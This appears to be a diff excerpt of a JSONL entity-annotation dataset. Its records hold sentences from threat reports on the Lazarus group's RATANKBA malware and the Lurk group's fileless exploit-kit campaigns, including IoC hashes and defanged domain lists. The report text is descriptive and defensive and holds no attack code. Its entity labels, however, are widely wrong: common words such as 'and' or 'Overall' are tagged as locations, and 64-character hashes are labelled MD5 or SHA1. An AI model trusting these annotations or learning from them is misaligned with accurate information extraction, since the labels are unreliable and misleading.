-{"id":9069,"text":"Given Lazarus’ use of a wide array of tools and techniques in their operations, it’s reasonable to assume that the group will continue to use ever-evolving tactics in their malicious activities.","entities":[{"id":28001,"label":"location","start_offset":0,"end_offset":5},{"id":28003,"label":"location","start_offset":44,"end_offset":47},{"id":28004,"label":"location","start_offset":121,"end_offset":125},{"id":28005,"label":"location","start_offset":142,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":9070,"text":"Overall, an organization will need multilayered security strategies, as Lazarus and other similar groups are experienced cybercriminals who employ different strategies to get past organizational defenses.","entities":[{"id":28006,"label":"location","start_offset":0,"end_offset":7},{"id":28007,"label":"location","start_offset":25,"end_offset":29},{"id":28008,"label":"location","start_offset":48,"end_offset":56},{"id":28010,"label":"location","start_offset":80,"end_offset":83},{"id":28011,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":9071,"text":"The impact of this malware can be mitigated with proven mitigation techniques such as routinely scanning the network for any malicious activity to help prevent the malware from entering and spreading through an organization.","entities":[{"id":28012,"label":"location","start_offset":4,"end_offset":10},{"id":28013,"label":"location","start_offset":27,"end_offset":30},{"id":28014,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":9072,"text":"In addition, educating employees and other key people in an organization on social engineering techniques can allow them to identify what to look out for when it comes to malicious attacks.","entities":[{"id":28015,"label":"location","start_offset":33,"end_offset":36},{"id":28016,"label":"location","start_offset":106,"end_offset":109},{"id":28017,"label":"location","start_offset":116,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":9073,"text":"Other mitigation strategies include a multilayered approach to securing the organization’s perimeter, which includes hardening the endpoints and employing application control to help prevent malicious applications and processes from being executed.","entities":[{"id":28018,"label":"location","start_offset":141,"end_offset":144},{"id":28019,"label":"location","start_offset":214,"end_offset":217}],"relations":[],"Comments":[]}
 {"id":9074,"text":"Trend Micro™ Deep Security™ provides virtual patching that protects endpoints from threats such as malicious redirections to malware-hosting URLs as well as those that exploit unpatched vulnerabilities.","entities":[],"relations":[],"Comments":[]}
-{"id":9075,"text":"Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to attacks using exploits and other similar threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect these attacks even without any engine or pattern update.","entities":[{"id":28021,"label":"location","start_offset":6,"end_offset":11},{"id":28022,"label":"location","start_offset":68,"end_offset":71},{"id":28023,"label":"location","start_offset":117,"end_offset":120},{"id":28024,"label":"location","start_offset":191,"end_offset":194}],"relations":[],"Comments":[]}
 {"id":9076,"text":"A detailed timeline of the Lazarus group's operations can be seen here.","entities":[{"id":28025,"label":"threat-actor","start_offset":27,"end_offset":40},{"id":28026,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
 {"id":9077,"text":"Indicators of Compromise (IoCs): Hashes detected as BKDR_RATANKBA.ZAEL-A  1768f2e9cea5f8c97007c6f822531c1c9043c151187c54ebfb289980ff63d666 6cac0be2120be7b3592fe4e1f7c86f4abc7b168d058e07dc8975bf1eafd7cb25 d844777dcafcde8622b9472b6cd442c50c3747579868a53a505ef2f5a4f0e26a db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471  f7f2dd674532056c0d67ef1fb7c8ae8dd0484768604b551ee9b6c4405008fe6b      Hashes detected as CHM_DLOADER.ZCEL-A  01b047e0f3b49f8ab6ebf6795bc72ba7f63d7acbc68f65f1f8f66e34de827e49 030b4525558f2c411f972d91b144870b388380b59372e1798926cc2958242863 10cbb5d0974af08b5d4aa9c753e274a81348da9f8bfcaa5193fad08b79650cda 650d7b814922b58b6580041cb0aa9d27dae7e94e6d899bbb3b4aa5f1047fca0f 6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984 6d4415a2cbedc960c7c7055626c61842b3a3ca4718e2ac0e3d2ac0c7ef41b84d 772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01 9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5 d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48    Hashes detected as JS_DLOADER.ZBEL-A   8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3    Hashes detected as X97M_DLOADR.ZBEL-A   972b598d709b66b35900dc21c5225e5f0d474f241fefa890b381089afd7d44ee    Hashes detected as VBS_DLOADR.ZAEL-A   4722138dda262a2dca5cbf9acd40f150759c006f56b7637769282dba54de0cab           Tags  Malware | APT & Targeted Attacks | Endpoints | Cyber Crime | Research | Network","entities":[{"id":28027,"label":"SHA1","start_offset":74,"end_offset":138},{"id":28028,"label":"SHA1","start_offset":139,"end_offset":203},{"id":28029,"label":"SHA1","start_offset":204,"end_offset":268},{"id":28030,"label":"SHA1","start_offset":269,"end_offset":333},{"id":28031,"label":"MD5","start_offset":335,"end_offset":399},{"id":28032,"label":"SHA1","start_offset":444,"end_offset":508},{"id":28033,"label":"SHA1","start_offset":509,"end_offset":573},{"id":28034,"label":"SHA2","start_offset":574,"end_offset":638},{"id":28035,"label":"SHA2","start_offset":639,"end_offset":703},{"id":28036,"label":"SHA2","start_offset":704,"end_offset":768},{"id":28037,"label":"MD5","start_offset":769,"end_offset":833},{"id":28038,"label":"SHA2","start_offset":834,"end_offset":898},{"id":28039,"label":"SHA2","start_offset":899,"end_offset":963},{"id":28040,"label":"SHA2","start_offset":964,"end_offset":1028},{"id":28041,"label":"SHA1","start_offset":1071,"end_offset":1135},{"id":28042,"label":"MD5","start_offset":1179,"end_offset":1243},{"id":28043,"label":"SHA2","start_offset":1286,"end_offset":1350},{"id":28044,"label":"location","start_offset":1377,"end_offset":1380}],"relations":[],"Comments":[]}
-{"id":9078,"text":"By Fyodor Yarochkin and Vladimir Kropotov (Senior Threat Researchers) Fileless infections are exactly what their namesake says: they're infections that don't involve malicious files being downloaded or written to the system’s disk.","entities":[{"id":28046,"label":"location","start_offset":20,"end_offset":23},{"id":28048,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":9079,"text":"While fileless infections are not necessarily new or rare, it presents a serious threat to enterprises and end users given its capability to gain privileges and persist in the system of interest to an attacker—all while staying under the radar.","entities":[{"id":28049,"label":"location","start_offset":26,"end_offset":29},{"id":28050,"label":"location","start_offset":103,"end_offset":106},{"id":28051,"label":"location","start_offset":117,"end_offset":122},{"id":28052,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":9080,"text":"For instance, fileless infections have been incorporated in a targeted bot delivery, leveraged to deliver ransomware, infect point-of-sale (PoS) systems, and perpetrate click fraud.","entities":[{"id":28053,"label":"location","start_offset":125,"end_offset":130},{"id":28054,"label":"location","start_offset":134,"end_offset":138},{"id":28055,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
-{"id":9081,"text":"The key point of the fileless infection for the attacker is to be able to evaluate each compromised system and make a decision whether the infection process should continue or vanish without a trace.","entities":[{"id":28056,"label":"location","start_offset":8,"end_offset":13},{"id":28057,"label":"location","start_offset":107,"end_offset":110},{"id":28058,"label":"location","start_offset":193,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":9082,"text":"The cybercriminal group Lurk was one of the first to effectively employ fileless infection techniques in large-scale attacks—techniques that arguably became staples for other malefactors.","entities":[{"id":28060,"label":"location","start_offset":33,"end_offset":36},{"id":28062,"label":"location","start_offset":105,"end_offset":110},{"id":28063,"label":"location","start_offset":157,"end_offset":164}],"relations":[],"Comments":[]}
 {"id":9083,"text":"A typical Lurk infection uses browser exploits to deliver non-persistent payloads to potential victims, probing their targets before deploying additional malware.","entities":[],"relations":[],"Comments":[]}
-{"id":9084,"text":"The infection chain had multiple stages, and was accomplished using bodiless\/fileless exploit payloads executed in-memory without additional persistence mechanisms.","entities":[{"id":28065,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":9085,"text":"No traces were left on affected systems apart from files from the exploit process if the target machine wasn’t interesting to the Lurk operators.","entities":[{"id":28066,"label":"location","start_offset":89,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":9086,"text":"This eponymous lurking behavior would earn them notoriety until their operations were stymied and the perpetrators arrested.","entities":[{"id":28068,"label":"location","start_offset":43,"end_offset":47},{"id":28069,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":9087,"text":"Nine more suspected members of the group were arrested by Russia's Ministry of Internal Affairs on February 8.","entities":[],"relations":[],"Comments":[]}
-{"id":9088,"text":"Lurk was believed to have siphoned over $45 million from financial organizations, ultimately disrupting the victims' operations, reputation, and bottom line.","entities":[{"id":28076,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]}
 {"id":9089,"text":"How did Lurk evolve from a clique of threat actors to a full-fledged cybercriminal group?","entities":[],"relations":[],"Comments":[]}
 {"id":9090,"text":"What other techniques were they known for—that other cybercriminals emulated?","entities":[],"relations":[],"Comments":[]}
-{"id":9091,"text":"How did their operations shift from targeting Russian end users to banks and enterprises?","entities":[{"id":28079,"label":"location","start_offset":67,"end_offset":72},{"id":28080,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":9092,"text":"Our observations of the group were based on code artifacts we analyzed as well as network traffic and URL patterns our intrusion detection systems monitored within several organizations in the Russian Internet segment during Lurk’s five-year campaign.","entities":[{"id":28081,"label":"location","start_offset":98,"end_offset":101},{"id":28085,"label":"location","start_offset":242,"end_offset":250}],"relations":[],"Comments":[]}
-{"id":9093,"text":"2011 to early 2012: Humble Beginnings?","entities":[{"id":28087,"label":"location","start_offset":20,"end_offset":26}],"relations":[],"Comments":[]}
 {"id":9094,"text":"Lurk’s web-based attacks were the first signs of their campaigns.","entities":[],"relations":[],"Comments":[]}
 {"id":9095,"text":"The group already implemented certain mechanisms to prevent AV detection.","entities":[],"relations":[],"Comments":[]}
 {"id":9096,"text":"Requests during a time period or from a source IP address that didn’t match their preferred distribution area, for instance, would yield a redirect to a third-party site such as Google.","entities":[{"id":28089,"label":"location","start_offset":18,"end_offset":22},{"id":28090,"label":"attack-pattern","start_offset":40,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":9097,"text":"Lurk compromised systems by exploiting web browser vulnerabilities via drive-by download attacks.","entities":[{"id":28092,"label":"malware","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":9098,"text":"Malicious iframe content was injected to high-profile Russian websites, which then served as watering holes to attack unsuspecting end users.","entities":[{"id":28093,"label":"location","start_offset":17,"end_offset":24}],"relations":[],"Comments":[]}
 {"id":9099,"text":"Malvertising and poisoning of content-serving application components, such as memcached cache poisoning, were also part of their traffic redirection methods.","entities":[{"id":28095,"label":"location","start_offset":13,"end_offset":16},{"id":28096,"label":"location","start_offset":30,"end_offset":37},{"id":28097,"label":"attack-pattern","start_offset":88,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":9100,"text":"Stealth was already a fixture in their operations.","entities":[],"relations":[],"Comments":[]}
-{"id":9101,"text":"Before additional malware was served to a victim, the victim machine was first verified and validated with a bodiless payload (executed in memory) that collected information from the compromised machine.","entities":[{"id":28098,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":9102,"text":"During this time we developed URL-based signatures and used them to detect Lurk-related network traffic.","entities":[{"id":28099,"label":"location","start_offset":12,"end_offset":16},{"id":28100,"label":"location","start_offset":51,"end_offset":54},{"id":28101,"label":"location","start_offset":60,"end_offset":64},{"id":28102,"label":"malware","start_offset":75,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":9103,"text":"The signature pattern ^[A-Z0-9]{4}$ was particularly effective in detecting URL patterns employed by Lurk from 2011 to 2013.","entities":[{"id":28103,"label":"threat-actor","start_offset":101,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":9104,"text":"The average TTL (Time To Live - the period of time these signatures were effective) for these signatures was two to three months.","entities":[{"id":28105,"label":"location","start_offset":17,"end_offset":21},{"id":28106,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":9105,"text":"The validity time of the signatures also allowed us to identify the group’s software upgrade cycles.","entities":[{"id":28108,"label":"location","start_offset":13,"end_offset":17}],"relations":[],"Comments":[]}
 {"id":9106,"text":"Mid-2012 to mid-2014: Honing the Craft Lurk was most prolific during this period, with its series of URL redirection campaigns in Russia becoming more extensive.","entities":[{"id":28111,"label":"malware","start_offset":39,"end_offset":43},{"id":28112,"label":"location","start_offset":48,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":9107,"text":"High-profile and high-volume websites were used as intermediate platforms for diverting unknowing visitors to their exploit kit, known as XXX.","entities":[{"id":28114,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":9108,"text":"Lurk also targeted programmatic advertising infrastructures to increase the scale of their operations.","entities":[{"id":28116,"label":"threat-actor","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":9109,"text":"In February 2012, for instance, the ad server of news agency RIA Novosti, ria[.]ru, was found serving iframe redirects to Lurk’s systems.","entities":[{"id":28118,"label":"location","start_offset":54,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":9110,"text":"The campaign delivered the actual payload only to a select range of IP addresses.","entities":[{"id":28121,"label":"location","start_offset":4,"end_offset":12},{"id":28122,"label":"location","start_offset":42,"end_offset":46},{"id":28123,"label":"location","start_offset":59,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":9111,"text":"By August 2012, we were able to observe sequences of HTTP requests during and after infection, including command and control (C&C) communication from compromised machines.","entities":[{"id":28125,"label":"location","start_offset":74,"end_offset":77},{"id":28126,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
 {"id":9112,"text":"When 2014 rolled in, Lurk started exhibiting some patterns similar with the Angler exploit kit.","entities":[{"id":28128,"label":"threat-actor","start_offset":21,"end_offset":25}],"relations":[],"Comments":[]}
-{"id":9113,"text":"For example, Lurk increasingly used indexm[.]html as their landing URL pattern; this would also shortly appear in one of Angler’s payloads.","entities":[{"id":28131,"label":"location","start_offset":59,"end_offset":66},{"id":28132,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":9114,"text":"Figure 1. Exploit loading sequence in ria[.]ru (February 2012) Figure 2. [bg].ru (February 2012) found redirecting victims to Lurk’s exploit kit Figure 3. Redirects to the Lurk landing page from adfox[.]ru banner network Figure 4. Malicious iframe content served by tks[.]ru (August 2013)","entities":[{"id":28138,"label":"threat-actor","start_offset":126,"end_offset":130},{"id":28140,"label":"malware","start_offset":172,"end_offset":176},{"id":28141,"label":"location","start_offset":177,"end_offset":184},{"id":28142,"label":"location","start_offset":185,"end_offset":189},{"id":28143,"label":"location","start_offset":206,"end_offset":212},{"id":28145,"label":"location","start_offset":248,"end_offset":255}],"relations":[],"Comments":[]}
 {"id":9115,"text":"Lurk’s transition from simple web-browser-exploiting crooks to organized cybercriminals also stood out.","entities":[{"id":28147,"label":"malware","start_offset":0,"end_offset":4},{"id":28148,"label":"location","start_offset":53,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":9116,"text":"Range and frequency were added to their operations.","entities":[{"id":28149,"label":"location","start_offset":0,"end_offset":5},{"id":28150,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]}
 {"id":9117,"text":"Serving criteria were often modified, malicious payloads were often updated.","entities":[],"relations":[],"Comments":[]}
 {"id":9118,"text":"While Lurk only exploited a certain set of browser vulnerabilities, the exploit code also often changed.","entities":[{"id":28151,"label":"threat-actor","start_offset":6,"end_offset":10},{"id":28152,"label":"location","start_offset":11,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":9119,"text":"Larger payloads (in number of bytes) typically translated to more functionality being embedded in them, while a smaller change indicated a repacked payload.","entities":[{"id":28153,"label":"location","start_offset":98,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":9120,"text":"True to its namesake, Lurk developed techniques to evade sandbox-based detection.","entities":[{"id":28154,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":9121,"text":"Aside from serving malicious content only once per IP address, the group limited the range of IP addresses to a subset of targets of interest.","entities":[{"id":28156,"label":"location","start_offset":29,"end_offset":36},{"id":28157,"label":"location","start_offset":37,"end_offset":41},{"id":28158,"label":"location","start_offset":85,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":9122,"text":"Payload execution was done in multi-tier, chained fashion, and only components delivered at later stages had persistence mechanisms.","entities":[{"id":28159,"label":"location","start_offset":59,"end_offset":62},{"id":28160,"label":"location","start_offset":63,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":9123,"text":"The initial bodiless payload was designed to be triggered by the exploit kit shellcode, which performed routine checks in the infected machine.","entities":[],"relations":[],"Comments":[]}
-{"id":9124,"text":"It would then call back to the group’s C&C server in the form of a Windows executable that, in turn, performs another analysis of the affected system and collected system information, such as installed software packages and their versions, operating system information and so on.","entities":[{"id":28161,"label":"location","start_offset":14,"end_offset":18},{"id":28162,"label":"location","start_offset":150,"end_offset":153},{"id":28163,"label":"location","start_offset":220,"end_offset":223},{"id":28164,"label":"location","start_offset":269,"end_offset":272}],"relations":[],"Comments":[]}
-{"id":9125,"text":"This information was sent back to the C&C server which made decisions on what to do next.","entities":[{"id":28165,"label":"location","start_offset":55,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":9126,"text":"This exhaustive scrutiny, along with the campaign’s objective, determines whether additional modules would be dropped to the system.","entities":[{"id":28166,"label":"location","start_offset":26,"end_offset":31},{"id":28167,"label":"location","start_offset":41,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":9127,"text":"Sourcing samples from this was a challenge because the payload’s behavior was mostly influenced by the environment where it was executed.","entities":[{"id":28168,"label":"location","start_offset":33,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":9128,"text":"Acquiring additional modules of the group’s malware, for instance, was nearly impractical if the exploit URLs were loaded in a sandboxed environment.","entities":[],"relations":[],"Comments":[]}
 {"id":9129,"text":"Malicious content were also often distributed during lunchtime (Moscow’s timezone), and in very short intervals.","entities":[{"id":28169,"label":"location","start_offset":10,"end_offset":17},{"id":28170,"label":"TIME","start_offset":53,"end_offset":62},{"id":28172,"label":"location","start_offset":84,"end_offset":87},{"id":28173,"label":"location","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":9130,"text":"We surmise this as their way to hide from automated scraping sandbox detection.","entities":[{"id":28174,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":9131,"text":"Geographical information of each visiting IP address was actively crosschecked against their regions of interest—Russia and the Commonwealth of Independent States (CIS).","entities":[{"id":28176,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":9132,"text":"Exploits were also served with higher frequency on certain days of the week: Fridays, and days before public holidays.","entities":[{"id":28179,"label":"location","start_offset":86,"end_offset":89},{"id":28181,"label":"location","start_offset":102,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":9133,"text":"Lurk’s infrastructure also exhibited new capabilities.","entities":[],"relations":[],"Comments":[]}
-{"id":9134,"text":"Among them were distinct patterns used in the HTTP requests and hosting providers.","entities":[{"id":28183,"label":"location","start_offset":6,"end_offset":10},{"id":28184,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":9135,"text":"Based on the hosting providers they used and timing of their hosting migrations, we observed the group compromising websites of software distribution companies and tampered their software installation files.","entities":[{"id":28185,"label":"location","start_offset":41,"end_offset":44},{"id":28186,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":9136,"text":"Their attacks also exploited a number of vulnerabilities that included authentication portal bypass flaws in programmatic ad servers, and those in web servers and other web components.","entities":[{"id":28187,"label":"location","start_offset":86,"end_offset":92},{"id":28188,"label":"location","start_offset":134,"end_offset":137},{"id":28189,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]}
 {"id":9137,"text":"The mechanisms of redirections were different for each intermediate victim.","entities":[],"relations":[],"Comments":[]}
-{"id":9138,"text":"Some included ad banner networks or actual sites—while the website content-serving component was poisoned in others.","entities":[{"id":28190,"label":"location","start_offset":17,"end_offset":23},{"id":28191,"label":"location","start_offset":43,"end_offset":48},{"id":28192,"label":"location","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":9139,"text":" 2012 2013 2014 3dnews[.]ru 3dnews[.]ru 3dnews[.]ru adriver[.]ru adriver[.]ru adfox[.]ru akdi[.]ru adv[.]vz[.]ru auto[.]ru bg[.]ru aif[.]ru avtovzglyad[.]ru com[.]adv[.]vz[.]ru akdi[.]ru drive[.]ru fobos[.]tv gazeta[.]ru glavbukh[.]ru gazeta[.]ru glavbukh[.]ru inosmi[.]ru rian[.]ru infox[.]ru irr[.]ru newsru[.]com klerk[.]ru nalogoved[.]ru target-m[.]ru mn[.]ru news[.]mail[.]ru tks[.]ru newsru[.]com ria[.]ru torrogrill[.]ru rg[.]ru riarealty[.]ru tvrain[.]ru servernews[.]ru nk[.]ru uik-ek[.]ru slon[.]ru rusplt[.]ru ura[.]ru tks[.]ru smotri[.]com slon[.]ru topnews[.]ru sport[.]mail[.]ru vesti[.]ru tvrain[.]ru tks[.]ru","entities":[{"id":28193,"label":"location","start_offset":1,"end_offset":5},{"id":28196,"label":"location","start_offset":342,"end_offset":348}],"relations":[],"Comments":[]}
 {"id":9140,"text":"  vesti[.]ru utro[.]ua","entities":[],"relations":[],"Comments":[]}
 {"id":9141,"text":"    womanhit[.]ru   Figure 5.","entities":[],"relations":[],"Comments":[]}
 {"id":9142,"text":"Lurk’s intermediate targets by year 2014 to 2016:","entities":[{"id":28197,"label":"malware","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
 {"id":9143,"text":"Going Global 2014 was a significant year in Lurk’s history.","entities":[],"relations":[],"Comments":[]}
-{"id":9144,"text":"A number of high-profile, intermediate victims were still at their fingertips, giving them footholds into the user’s systems.","entities":[{"id":28202,"label":"location","start_offset":86,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":9145,"text":"In a word, they were on a roll.","entities":[{"id":28203,"label":"location","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":9146,"text":"Why not go global to turn in more profit?","entities":[],"relations":[],"Comments":[]}
-{"id":9147,"text":"Most of the domains Lurk used during this time were purchased from third-party resellers and paid with WebMoney checks and other anonymous forms of payment available in Russia.","entities":[{"id":28204,"label":"location","start_offset":0,"end_offset":4},{"id":28206,"label":"location","start_offset":42,"end_offset":46},{"id":28207,"label":"location","start_offset":89,"end_offset":92},{"id":28208,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":9148,"text":"The activities we observed indicated dry runs of malicious injections in banner networks outside Russia and CIS.","entities":[{"id":28210,"label":"location","start_offset":73,"end_offset":79},{"id":28212,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":9149,"text":"In April, we saw Lurk using redirects via mail[.]ru, possibly through malicious injections to its ad server content.","entities":[{"id":28216,"label":"location","start_offset":108,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":9150,"text":"From June to September, Lurk’s landing pages hinted at the group migrating their infrastructure and readying a global campaign.","entities":[{"id":28220,"label":"location","start_offset":31,"end_offset":38},{"id":28221,"label":"location","start_offset":96,"end_offset":99},{"id":28222,"label":"location","start_offset":118,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":9151,"text":"By the second half of the year, Lurk’s geographical distribution drastically changed.","entities":[],"relations":[],"Comments":[]}
-{"id":9152,"text":"Russian\/CIS-based targets were now sparser, and victims within .ru domains were manually inspected.","entities":[{"id":28226,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":9153,"text":"Lurk then launched a new URL pattern that served payloads round-the-clock, eschewing pre-filtering of IP address locations in favor of targeting global IP addresses.","entities":[],"relations":[],"Comments":[]}
-{"id":9154,"text":"We observed systems from other countries connecting to IP addresses operated by Lurk, including Ukraine, U.S., China, Taiwan, Norway, Australia, United Kingdom, Japan, Sweden, Canada, Italy, and South Korea.","entities":[{"id":28240,"label":"location","start_offset":191,"end_offset":194}],"relations":[],"Comments":[]}
-{"id":9155,"text":"We cannot confirm, however, if these countries were actual Lurk targets.","entities":[{"id":28242,"label":"location","start_offset":3,"end_offset":6}],"relations":[],"Comments":[]}
-{"id":9156,"text":"While Lurk favored Java exploits that were used extensively from 2011 to 2012, Flash\/swf content was introduced.","entities":[{"id":28245,"label":"location","start_offset":19,"end_offset":23},{"id":28247,"label":"location","start_offset":89,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":9157,"text":"An obfuscated Flash file exploiting CVE-2013-5330 was spotted in December 2014.","entities":[{"id":28248,"label":"location","start_offset":45,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":9158,"text":"It was delivered only if the victim’s source IP address (and time) met Lurk’s parameters—otherwise users received a 404 error response.","entities":[{"id":28250,"label":"location","start_offset":17,"end_offset":21},{"id":28251,"label":"attack-pattern","start_offset":38,"end_offset":44},{"id":28252,"label":"location","start_offset":57,"end_offset":60},{"id":28253,"label":"location","start_offset":61,"end_offset":65},{"id":28254,"label":"malware","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":9159,"text":"As mentioned earlier, the XXX Exploit Kit used by Lurk demonstrated several URL-serving patterns and fileless infection capabilities that would later be seen in Angler.","entities":[{"id":28257,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":9160,"text":"By early 2015, the difference in Lurk and Angler’s activities began to blur—many of their patterns, exploit techniques, and distribution volume overlapped.","entities":[{"id":28261,"label":"location","start_offset":38,"end_offset":41},{"id":28263,"label":"location","start_offset":76,"end_offset":80},{"id":28264,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":9161,"text":"Correlation via hosting IP addresses wasn’t very helpful, because Lurk and Angler were often seen hosted on the same service providers.","entities":[{"id":28266,"label":"location","start_offset":71,"end_offset":74},{"id":28268,"label":"location","start_offset":112,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":9162,"text":"Lurk also employed dynamically generated domain names for their landing pages.","entities":[{"id":28270,"label":"location","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]}
 {"id":9163,"text":"2016: Lurk’s Downfall Lurk’s active compromise of financial institutions led to a series of enquiries that culminated in the arrest of over 50 individuals involved in its operations across Russia.","entities":[],"relations":[],"Comments":[]}
 {"id":9164,"text":"The ripple effect led other cybercriminal groups to lie low for the rest of the year.","entities":[],"relations":[],"Comments":[]}
-{"id":9165,"text":"Other exploit kits like Neutrino and Magnitude either shut down or went private.","entities":[{"id":28278,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":9166,"text":"By then, Angler’s activities already ceased.","entities":[],"relations":[],"Comments":[]}
 {"id":9167,"text":"Coincidence?","entities":[],"relations":[],"Comments":[]}
-{"id":9168,"text":"Based on the similarities of Angler and XXX’s exploit-serving URL patterns and malware delivery techniques (particularly their use of fileless infection) as well as shared infrastructure, we can construe a correlation of both their operations.","entities":[{"id":28282,"label":"location","start_offset":36,"end_offset":39},{"id":28284,"label":"location","start_offset":75,"end_offset":78},{"id":28285,"label":"location","start_offset":191,"end_offset":194}],"relations":[],"Comments":[]}
-{"id":9169,"text":"In a way, the rise and fall of Lurk also reflected the evolution of the threat landscape.","entities":[{"id":28286,"label":"location","start_offset":5,"end_offset":8},{"id":28287,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":9170,"text":"We can only predict the constant development of seemingly novel and unforeseen techniques for evading traditional security systems, which is exacerbated by how these can become commercially available to other bad guys.","entities":[{"id":28289,"label":"location","start_offset":3,"end_offset":6},{"id":28290,"label":"location","start_offset":7,"end_offset":11},{"id":28291,"label":"location","start_offset":64,"end_offset":67},{"id":28292,"label":"location","start_offset":114,"end_offset":122},{"id":28293,"label":"location","start_offset":166,"end_offset":169},{"id":28294,"label":"location","start_offset":213,"end_offset":217}],"relations":[],"Comments":[]}
 {"id":9171,"text":"Unfortunately, Lurk is just one of the many cybercriminal groups looking to profit from organizations and end users.","entities":[{"id":28296,"label":"identity","start_offset":23,"end_offset":27},{"id":28297,"label":"location","start_offset":28,"end_offset":31},{"id":28298,"label":"location","start_offset":39,"end_offset":43},{"id":28299,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":9172,"text":"Best Practices Lurk’s story demonstrates the aptitude of cybercriminals for honing in on specific victims and profiting from them.","entities":[{"id":28300,"label":"location","start_offset":0,"end_offset":4},{"id":28301,"label":"malware","start_offset":15,"end_offset":19},{"id":28302,"label":"location","start_offset":22,"end_offset":27},{"id":28303,"label":"location","start_offset":106,"end_offset":109},{"id":28304,"label":"location","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":9173,"text":"Whether spying for profit, pilfering credentials, emptying bank accounts, or misinforming an unknowing public, bad guys will progressively develop attacks that can neuter traditional defenses.","entities":[{"id":28305,"label":"location","start_offset":103,"end_offset":109},{"id":28306,"label":"location","start_offset":115,"end_offset":119},{"id":28307,"label":"location","start_offset":120,"end_offset":124},{"id":28308,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":9174,"text":"These threats pose greater challenges to security and IT administrators in terms of how their organization’s perimeter can be secured.","entities":[{"id":28309,"label":"location","start_offset":41,"end_offset":49},{"id":28310,"label":"location","start_offset":50,"end_offset":53},{"id":28311,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
